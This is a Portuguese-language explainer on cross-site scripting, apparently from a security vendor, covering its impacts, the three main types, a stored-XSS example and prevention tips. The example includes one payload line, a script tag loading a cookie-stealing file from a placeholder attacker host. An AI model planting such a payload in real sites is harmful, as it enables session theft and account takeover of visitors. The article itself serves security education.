O que é cross-site scripting?
Ataques de cross-site scripting, às vezes escritos como XSS, envolvem código malicioso sendo injetado em sites de outra forma confiáveis. Um ataque de cross-site scripting ocorre quando os criminosos cibernéticos injetam scripts maliciosos no conteúdo do site alvo, que é então incluído com o conteúdo dinâmico entregue ao navegador da vítima. O navegador da vítima não tem como saber que os scripts maliciosos não são confiáveis e, portanto, os executa.
Como resultado, os scripts maliciosos podem acessar quaisquer cookies, tokens de sessão ou outras informações confidenciais retidas pelo navegador e usadas nesse site. Os invasores também podem usar XSS para espalhar malware, reescrever o conteúdo de sites, causar problemas em redes sociais e phishing para credenciais de usuário. O XSS difere de outros ataques da Web porque não tem como alvo direto o próprio aplicativo. Em vez disso, os usuários do aplicativo da Web são os que correm risco.
Como funciona o cross-site scripting
Cross-site scripting funciona manipulando um site vulnerável para que ele retorne scripts maliciosos aos usuários. Frequentemente, isso envolve JavaScript, mas qualquer linguagem do lado do cliente pode ser usada. Os criminosos cibernéticos visam sites com funções vulneráveis que aceitam entradas do usuário, como barras de pesquisa, caixas de comentários ou formulários de login. Os criminosos anexam seu código malicioso no topo do site legítimo, essencialmente enganando os navegadores para que executem seu malware sempre que o site é carregado.
Uma vez que o JavaScript é executado na página do navegador da vítima, detalhes confidenciais sobre o usuário autenticado podem ser roubados da sessão, permitindo que agentes mal-intencionados direcionem os administradores do site e comprometam sites.
Dependendo de como o código é injetado, o conteúdo malicioso pode nem mesmo estar na própria página da Web, mas sim como um elemento transitório que só parece fazer parte do site no momento da exploração. Isso pode criar a ilusão de que o site real está comprometido quando não está.
Existem diferentes maneiras de desencadear um ataque XSS. Por exemplo, a execução pode ser disparada automaticamente quando a página é carregada ou quando um usuário passa o mouse sobre elementos específicos da página, como hiperlinks. Em alguns casos, o XSS é executado de maneira mais direta, como em uma mensagem de e-mail. Alguns ataques XSS não têm um alvo específico; o invasor simplesmente explora uma vulnerabilidade no aplicativo ou site, tirando vantagem de qualquer pessoa que tenha a sorte de ser vítima.
Dependendo da escala do ataque, as contas do usuário podem ser comprometidas, os programas cavalos de Troia ativados e o conteúdo da página modificado, induzindo os usuários a divulgar seus dados privados. Cookies de sessão podem ser revelados, permitindo que um autor se faça passar por usuários válidos e abuse de suas contas privadas.
Um ataque de cross-site scripting bem-sucedido pode ter consequências devastadoras para a reputação de uma empresa on-line e seu relacionamento com seus clientes. Infelizmente, as falhas que permitem que os ataques XSS sejam bem-sucedidos são bastante comuns. Os ataques XSS podem explorar vulnerabilidades em vários ambientes de programação, incluindo VBScript, Flash, ActiveX e JavaScript. O XSS visa principalmente o JavaScript devido à forte integração da linguagem com a maioria dos navegadores. Essa capacidade de explorar plataformas comumente usadas torna os ataques XSS perigosos e generalizados.
Impacto do XSS
Ao explorar vulnerabilidades de XSS, um invasor pode executar ações maliciosas, como:
- Redirecionar usuários para um site malicioso.
- Capturar as teclas digitadas pelos usuários.
- Acessar o histórico do navegador dos usuários e o conteúdo da área de transferência.
- Executar exploits baseados em navegador da Web (por exemplo, travar o navegador).
- Obter as informações do cookie de um usuário que está logado em um site.
- Roubar o token de sessão de login, permitindo que o invasor interaja com o aplicativo como a vítima sem saber sua senha.
- Forçar o usuário a enviar solicitações controladas pelo invasor a um servidor.
- Mudar o conteúdo de uma página.
- Enganar a vítima para que divulgue sua senha para o aplicativo ou outros aplicativos.
- Infectar a vítima com outro código malicioso usando uma vulnerabilidade no próprio navegador da Web, possivelmente assumindo o computador da vítima.
Em alguns casos, um ataque XSS pode levar ao comprometimento total da conta da vítima. Os invasores podem induzir os usuários a inserir credenciais em um formulário falso, que fornece todas as informações ao invasor. Depois de obter as credenciais do usuário, os ataques podem usá-las para cometer roubo de identidade ou fraude financeira.
Tipos de ataques de XSS
Cross-site scripting pode ser classificado em três categorias principais — XSS Armazenado, XSS Refletido e XSS baseado em DOM.
Cross-site scripting armazenado (XSS Persistente)
XSS Armazenado, também conhecido como XSS Persistente, é considerado o tipo de ataque XSS mais prejudicial. O XSS Armazenado ocorre quando a entrada fornecida pelo usuário é armazenada e, em seguida, processada em uma página da Web. Os pontos de entrada típicos para XSS Armazenado incluem fóruns de mensagens, comentários em blogs, perfis de usuário e campos de nome de usuário. Um invasor normalmente explora essa vulnerabilidade injetando cargas de XSS em páginas populares de um site ou passando um link para uma vítima, induzindo-a a visualizar a página que contém a carga de XSS armazenada. A vítima visita a página e a carga útil é executada no lado do cliente pelo navegador da vítima.
Cross-site scripting Refletido (XSS Não persistente)
O tipo mais comum de XSS é conhecido como XSS Refletido (também conhecido como XSS Não persistente). Nesse caso, a carga útil do invasor deve fazer parte da solicitação enviada ao servidor da Web. Em seguida, é refletido de volta de maneira que a resposta HTTP inclua a carga útil da solicitação HTTP. Os invasores usam links maliciosos, e-mails de phishing e outras técnicas de engenharia social para induzir a vítima a fazer uma solicitação ao servidor. A carga útil XSS refletida é então executada no navegador do usuário.
O XSS Refletido não é um ataque persistente, portanto, o invasor precisa entregar a carga útil a cada vítima. Esses ataques costumam ser feitos por meio de redes sociais.
Cross-site scripting baseado em DOM
XSS baseado em DOM refere-se a uma vulnerabilidade de cross-site scripting que aparece no DOM (Document Object Model) em vez de parte do HTML. Em ataques de cross-site scripting refletidos e armazenados, você pode ver a carga útil da vulnerabilidade na página de resposta, mas no cross-site scripting baseado em DOM, o código-fonte HTML do ataque e a resposta serão os mesmos, ou seja, a carga útil não pode ser encontrada na resposta. Ele só pode ser observado em tempo de execução ou investigando o DOM da página.
Um ataque XSS baseado em DOM é geralmente um ataque do lado do cliente, e a carga maliciosa nunca é enviada ao servidor. Isso torna ainda mais difícil a detecção de WAFs (Web Application Firewalls) e engenheiros de segurança que analisam os logs do servidor porque nunca veem o ataque. Os objetos DOM que são manipulados com mais frequência incluem o URL (document.URL), a parte âncora do URL (location.hash) e o Referrer (document.referrer).
Exemplo de ataque XSS
Por exemplo: ao navegar em um site de comércio eletrônico, um malfeitor identifica uma vulnerabilidade que permite que as tags HTML sejam incorporadas na seção de comentários do site. As tags incorporadas tornam-se um recurso permanente da página, fazendo com que o navegador as inclua com o restante do código-fonte sempre que a página for aberta.
O invasor adiciona um comentário, seguindo estas linhas: Item de grande valor. Leia minha análise completa aqui <script src=”http://attackersite.com/authstealer.js”> </script>.
Depois disso, cada vez que a página for acessada, a tag HTML no comentário ativará um arquivo JavaScript, que está hospedado em outro site e pode roubar os cookies de sessão dos visitantes.
Usando o cookie de sessão, o invasor pode comprometer a conta do visitante, facilitando o acesso às suas informações pessoais e dados financeiros. Enquanto isso, o visitante, que pode nem ter rolado para baixo até a seção de comentários, continua sem saber que o ataque ocorreu.
Ao contrário de um ataque refletido, em que o script é ativado depois que um link é clicado, um ataque armazenado requer apenas que a vítima visite a página da Web comprometida. Isso aumenta o alcance do ataque, colocando em risco todos os visitantes, por mais cautelosos que sejam.
Do ponto de vista do invasor, os ataques XSS persistentes são mais difíceis de executar devido às dificuldades em localizar um site trafegado e um com vulnerabilidades que permitem a incorporação permanente de script.
Prevenção contra cross site scripting
Para minimizar a vulnerabilidade de cross-site scripting, os desenvolvedores/proprietários de sites devem:
- Garantir que qualquer página em seu site que aceite entrada do usuário filtre as entradas de código, como HTML e JavaScript.
- Faça a varredura em busca de vulnerabilidades de aplicativos da Web e conserte-as de acordo.
- Atualize seu site e software de servidor para evitar a exploração futura de vulnerabilidades que podem ser visadas por um ataque XSS.
Para evitar ser vítima de um ataque XSS, os usuários individuais devem:
- Desativar os scripts em páginas em que eles não são necessários ou desativá-los completamente.
- Evitar clicar em links de e-mails ou postagens suspeitas em painéis de mensagens, pois eles podem levar a páginas comprometidas.
- Acessar sites diretamente digitando o URL em seu navegador, em vez de por meio de uma fonte ou link de terceiros.
- Manter o software atualizado para se beneficiar das últimas correções de bugs e patches de segurança. Atualizar regularmente o software reduzirá significativamente as vulnerabilidades que deixam um site ou aplicativo aberto a ataques XSS.
- Fazer a auditoria de aplicativos para determinar quais são necessários e quais raramente são usados. Livrar-se de aplicativos que você não usa reduz o número de vulnerabilidades potenciais.
- Use um antivírus de alta qualidade, como o Kaspersky Premium, funciona 24 horas por dia, 7 dias por semana para proteger seus dispositivos e dados. Ele bloqueia ameaças comuns e complexas, como vírus, malware, ransomware, aplicativos de espionagem e todos os mais recentes truques dos hackers.
Artigos relacionados: